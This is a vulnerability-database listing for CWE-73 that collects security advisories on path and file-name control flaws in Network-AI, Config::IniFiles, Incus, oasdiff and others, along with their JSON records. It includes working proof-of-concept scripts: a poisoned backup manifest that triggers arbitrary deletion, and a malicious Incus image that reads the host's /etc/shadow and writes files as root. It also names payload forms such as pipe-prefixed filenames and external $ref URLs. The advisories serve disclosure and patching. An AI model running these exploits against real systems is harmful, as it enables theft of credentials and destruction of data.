Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product allows user input to control or influence paths or file names that are used in filesystem operations.

916 vulnerabilities reference this CWE, most recent first.

GHSA-2FMP-9RVW-HC96

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42

Summary

Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning

Details

Summary

EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).

An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.

Details

listBackups() trusts manifest content from disk:

for (const name of readdirSync(backupsDir)) {
  const manifest = join(backupsDir, name, '_manifest.json');
  if (existsSync(manifest)) {
    try {
      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
      entries.push(entry);
    } catch { /* corrupt manifest, skip */ }
  }
}

pruneBackups() uses the attacker-controlled entry.path as the deletion target:

const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
  try {
    rmSync(entry.path, { recursive: true, force: true });
    deleted++;
  } catch { /* ignore */ }
}

Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.

Affected source evidence:

lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.
lib/env-manager.ts:529-541 — recursively deletes entry.path.
bin/cli.ts:464-472 — default CLI exposes backup pruning.

PoC

This PoC uses only a temporary directory and deletes only a temporary file:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;

const mgr = new EnvironmentManager(path.join(base, 'data'), {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');

const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
  path.join(backupsDir, 'evil', '_manifest.json'),
  JSON.stringify({
    backupId: 'evil',
    env: 'dev',
    timestamp: '2000-01-01T00:00:00.000Z',
    sizeBytes: 0,
    path: path.join(base, 'victim.txt'),
  })
);

console.log(JSON.stringify({
  before: fs.existsSync(path.join(base, 'victim.txt')),
  deleted: mgr.pruneBackups('dev', 0),
  after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.

Impact

An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, \u0027_manifest.json\u0027);\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, \u0027utf-8\u0027)) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` \u2014 reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` \u2014 recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` \u2014 default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, \u0027data\u0027), {\n  chain: [\u0027dev\u0027, \u0027st\u0027],\n  gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nfs.writeFileSync(path.join(base, \u0027victim.txt\u0027), \u0027safe\u0027);\n\nconst backupsDir = path.join(base, \u0027data\u0027, \u0027dev\u0027, \u0027.backups\u0027);\nfs.mkdirSync(path.join(backupsDir, \u0027evil\u0027), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, \u0027evil\u0027, \u0027_manifest.json\u0027),\n  JSON.stringify({\n    backupId: \u0027evil\u0027,\n    env: \u0027dev\u0027,\n    timestamp: \u00272000-01-01T00:00:00.000Z\u0027,\n    sizeBytes: 0,\n    path: path.join(base, \u0027victim.txt\u0027),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n  deleted: mgr.pruneBackups(\u0027dev\u0027, 0),\n  after: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "id": "GHSA-2fmp-9rvw-hc96",
  "modified": "2026-06-19T21:42:26Z",
  "published": "2026-06-19T21:42:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning"
}

GHSA-2G88-7QC8-9VXV

Vulnerability from github – Published: 2026-06-14 12:30 – Updated: 2026-06-19 21:32

Details

Config::IniFiles versions before 3.001000 for Perl allow OS command injection and file overwrite via a 2-arg open() of the -file argument in _make_filehandle.

Config::IniFiles::_make_filehandle opens a filename argument with Perl's 2-arg open(), so a filename that begins or ends with a pipe ("| cmd", "cmd |") or begins with a redirect ("> path", ">> path") is run as a command or redirect rather than opened as a file. The helper is the open path behind the documented -file argument: new(-file => $thing) reaches it through ReadConfig. An in-memory scalar reference (-file => \$text) does not open a path and is unaffected.

Any caller that forwards untrusted input to the -file argument can run an arbitrary command or truncate a file under the process UID.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2026-11527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-14T12:16:23Z",
    "severity": "HIGH"
  },
  "details": "Config::IniFiles versions before 3.001000 for Perl allow OS command injection and file overwrite via a 2-arg open() of the -file argument in _make_filehandle.\n\nConfig::IniFiles::_make_filehandle opens a filename argument with Perl\u0027s 2-arg open(), so a filename that begins or ends with a pipe (\"| cmd\", \"cmd |\") or begins with a redirect (\"\u003e path\", \"\u003e\u003e path\") is run as a command or redirect rather than opened as a file. The helper is the open path behind the documented -file argument: new(-file =\u003e $thing) reaches it through ReadConfig. An in-memory scalar reference (-file =\u003e \\$text) does not open a path and is unaffected.\n\nAny caller that forwards untrusted input to the -file argument can run an arbitrary command or truncate a file under the process UID.",
  "id": "GHSA-2g88-7qc8-9vxv",
  "modified": "2026-06-19T21:32:47Z",
  "published": "2026-06-14T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11527"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shlomif/perl-Config-IniFiles/commit/3e48f9627fbba4dae5de35be1f735cdeb7e47fb8.patch"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/06/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/SHLOMIF/Config-IniFiles-3.001000/changes"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/14/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GCX-5J95-FCCJ

Vulnerability from github – Published: 2025-05-08 06:30 – Updated: 2026-04-08 18:33

Details

The Event Manager, Events Calendar, Tickets, Registrations – Eventin plugin for WordPress is vulnerable to arbitrary file read in all versions up to, and including, 4.0.26 via the proxy_image() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-3419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-08T06:15:32Z",
    "severity": "HIGH"
  },
  "details": "The Event Manager, Events Calendar, Tickets, Registrations \u2013 Eventin plugin for WordPress is vulnerable to arbitrary file read in all versions up to, and including, 4.0.26 via the proxy_image() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.",
  "id": "GHSA-2gcx-5j95-fccj",
  "modified": "2026-04-08T18:33:52Z",
  "published": "2025-05-08T06:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3419"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3284545/wp-event-solution/trunk/core/Admin/Hooks.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1479071c-85c3-41fd-8ad7-f0dee32f201b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H46-9X5W-4WF7

Vulnerability from github – Published: 2026-06-19 15:00 – Updated: 2026-06-19 15:00

Summary

Entire CLI: Path traversal in checkpoint session metadata allows arbitrary file write during resume/rewind

Details

Impact

A path traversal vulnerability in Entire CLI allows an attacker with push access to the checkpoints repository to craft malicious checkpoint metadata that causes entire session resume or entire checkpoint rewind to write attacker-controlled transcript data outside of the expected session directory.

The issue occurs because checkpoint metadata is fetched from the remote entire/checkpoints/v1 branch and the SessionID field was used to construct filesystem paths without validation in the restore path. A malicious SessionID containing absolute paths or path traversal sequences could cause arbitrary files on the victim’s machine to be overwritten.

Patches

The patched versions (v0.7.7 or v0.7.8-nightly.*) observe stronger input validation and enforce traversal-resistant primitives to ensure that only descending directories can be accessed by the affected commands.

Workarounds

If upgrading immediately is not possible:

Do not run entire session resume or entire checkpoint rewind on repositories where untrusted users can push to entire/checkpoints/v1.
Restrict push access to shared repositories until all collaborators have upgraded.
Inspect the entire/checkpoints/v1 branch for suspicious checkpoint metadata before resuming or rewinding.
Remove or protect shell initialization files and other sensitive user-writable files where feasible.

These mitigations reduce exposure but do not fully address the vulnerability. Upgrading is recommended.

Credits

Thanks Navtej Kathuria for privately reporting this issue to the Entire Security team.

Severity

6.2 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:H/SA:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/entireio/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T15:00:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA path traversal vulnerability in Entire CLI allows an attacker with push access to the checkpoints repository to craft malicious checkpoint metadata that causes `entire session resume` or `entire checkpoint rewind` to write attacker-controlled transcript data outside of the expected session directory.\n\nThe issue occurs because checkpoint metadata is fetched from the remote `entire/checkpoints/v1` branch and the `SessionID` field was used to construct filesystem paths without validation in the restore path. A malicious `SessionID` containing absolute paths or path traversal sequences could cause arbitrary files on the victim\u2019s machine to be overwritten.\n\n### Patches\n\nThe patched versions (`v0.7.7` or `v0.7.8-nightly.*`) observe stronger input validation and enforce traversal-resistant primitives to ensure that only descending directories can be accessed by the affected commands. \n\n### Workarounds\nIf upgrading immediately is not possible:\n\n- Do not run `entire session resume` or `entire checkpoint rewind` on repositories where untrusted users can push to `entire/checkpoints/v1`.\n- Restrict push access to shared repositories until all collaborators have upgraded.\n- Inspect the `entire/checkpoints/v1` branch for suspicious checkpoint metadata before resuming or rewinding.\n- Remove or protect shell initialization files and other sensitive user-writable files where feasible.\n\nThese mitigations reduce exposure but do not fully address the vulnerability. Upgrading is recommended.\n\n### Credits\nThanks Navtej Kathuria for privately reporting this issue to the Entire Security team.",
  "id": "GHSA-2h46-9x5w-4wf7",
  "modified": "2026-06-19T15:00:01Z",
  "published": "2026-06-19T15:00:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/entireio/cli/security/advisories/GHSA-2h46-9x5w-4wf7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/entireio/cli/pull/1365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/entireio/cli/pull/1449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/entireio/cli"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Entire CLI: Path traversal in checkpoint session metadata allows arbitrary file write during resume/rewind"
}

GHSA-2JCC-MXV7-P3F9

Vulnerability from github – Published: 2026-07-07 23:45 – Updated: 2026-07-07 23:45

Summary

oasdiff does not enforce --allow-external-refs=false on the git-revision load path (SSRF / local file read)

Details

Summary

From v1.13.2 through v1.18.0, oasdiff did not enforce --allow-external-refs=false (library: openapi3.Loader.IsExternalRefsAllowed = false) when loading a spec from a git revision (the rev:path form, e.g. main:openapi.yaml). External $refs were resolved on that load path even when external refs were explicitly disabled, so the mitigation silently did not apply there.

Impact

A caller who set --allow-external-refs=false specifically to safely process untrusted specs remained exposed — on the git-revision load path only — to:

SSRF via $ref: "http://<internal-host>/…", and
Local file reads via $ref: "/path" or file://.

Affected callers:

CLI: oasdiff diff main:openapi.yaml HEAD:openapi.yaml --allow-external-refs=false (and breaking / changelog / summary, and the git-diff-driver) run over untrusted spec content.
Go library consumers of github.com/oasdiff/oasdiff/load that set IsExternalRefsAllowed = false and load from a git-revision source via load.NewSpecInfo.

The file and URL load paths correctly enforced the setting; only the git-revision path was affected. Callers that left external refs at the default (true) are not in scope for this advisory.

Patches

v1.18.1 enforces the external-refs policy on the git-revision path (so --allow-external-refs=false now blocks external $refs there) and returns a dedicated exit code (123) when an external $ref is refused.

Workarounds

Upgrade to v1.18.1, or
Avoid the git-revision input form when processing untrusted specs with external refs disabled.

Notes

Introduced in v1.13.2 (#832, which added $ref-chain resolution on the git-revision path); fixed in v1.18.1 (#974, #975).
The permissive default (allow-external-refs: true) and its zero-interaction exposure in CI via the GitHub Action is tracked separately in GHSA-fhj3-7267-7vv5 (oasdiff-action).

Severity

6.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/oasdiff/oasdiff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.2"
            },
            {
              "fixed": "1.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-73",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:45:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nFrom **v1.13.2** through **v1.18.0**, oasdiff did not enforce `--allow-external-refs=false` (library: `openapi3.Loader.IsExternalRefsAllowed = false`) when loading a spec from a **git revision** (the `rev:path` form, e.g. `main:openapi.yaml`). External `$ref`s were resolved on that load path even when external refs were explicitly disabled, so the mitigation silently did not apply there.\n\n## Impact\n\nA caller who set `--allow-external-refs=false` *specifically to safely process untrusted specs* remained exposed \u2014 on the git-revision load path only \u2014 to:\n\n- **SSRF** via `$ref: \"http://\u003cinternal-host\u003e/\u2026\"`, and\n- **Local file reads** via `$ref: \"/path\"` or `file://`.\n\nAffected callers:\n\n- **CLI:** `oasdiff diff main:openapi.yaml HEAD:openapi.yaml --allow-external-refs=false` (and `breaking` / `changelog` / `summary`, and the `git-diff-driver`) run over untrusted spec content.\n- **Go library consumers** of `github.com/oasdiff/oasdiff/load` that set `IsExternalRefsAllowed = false` and load from a git-revision source via `load.NewSpecInfo`.\n\nThe file and URL load paths correctly enforced the setting; only the git-revision path was affected. Callers that left external refs at the default (`true`) are not in scope for *this* advisory.\n\n## Patches\n\n**v1.18.1** enforces the external-refs policy on the git-revision path (so `--allow-external-refs=false` now blocks external `$ref`s there) and returns a dedicated exit code (`123`) when an external `$ref` is refused.\n\n## Workarounds\n\n- Upgrade to **v1.18.1**, or\n- Avoid the git-revision input form when processing untrusted specs with external refs disabled.\n\n## Notes\n\n- Introduced in **v1.13.2** (#832, which added `$ref`-chain resolution on the git-revision path); fixed in **v1.18.1** (#974, #975).\n- The permissive **default** (`allow-external-refs: true`) and its zero-interaction exposure in CI via the GitHub Action is tracked separately in GHSA-fhj3-7267-7vv5 (oasdiff-action).",
  "id": "GHSA-2jcc-mxv7-p3f9",
  "modified": "2026-07-07T23:45:05Z",
  "published": "2026-07-07T23:45:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/security/advisories/GHSA-2jcc-mxv7-p3f9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/975"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oasdiff/oasdiff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "oasdiff does not enforce --allow-external-refs=false on the git-revision load path (SSRF / local file read)"
}

GHSA-2JPX-W8GQ-PJ3X

Vulnerability from github – Published: 2026-06-03 15:30 – Updated: 2026-06-03 15:30

Details

The ugw-logstop method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

7.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-35078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T13:16:19Z",
    "severity": "HIGH"
  },
  "details": "The ugw-logstop method allows a remote attacker with user privileges  to delete arbitrary local files due to insufficient validation of user-controlled input.",
  "id": "GHSA-2jpx-w8gq-pj3x",
  "modified": "2026-06-03T15:30:42Z",
  "published": "2026-06-03T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35078"
    },
    {
      "type": "WEB",
      "url": "https://www.certvde.com/en/advisories/VDE-2026-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2P9F-MH54-8VG9

Vulnerability from github – Published: 2023-12-08 18:30 – Updated: 2023-12-08 18:30

Details

A vulnerability was found in SourceCodester Simple Student Attendance System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file index.php. The manipulation of the argument page leads to file inclusion. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247255.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2023-6618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-08T17:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Simple Student Attendance System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file index.php. The manipulation of the argument page leads to file inclusion. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247255.",
  "id": "GHSA-2p9f-mh54-8vg9",
  "modified": "2023-12-08T18:30:42Z",
  "published": "2023-12-08T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6618"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.247255"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.247255"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/u39339523/el4dxs/krpez3nzv1144cuc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2Q3F-Q5PQ-G8WV

Vulnerability from github – Published: 2026-06-26 18:31 – Updated: 2026-06-26 18:31

Summary

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

Details

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48749"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:31:21Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -\u003e /\n```\n\nIn practice, this allows a malicious actor to access the host\u0027s filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container\u0027s rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host\u0027s `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host 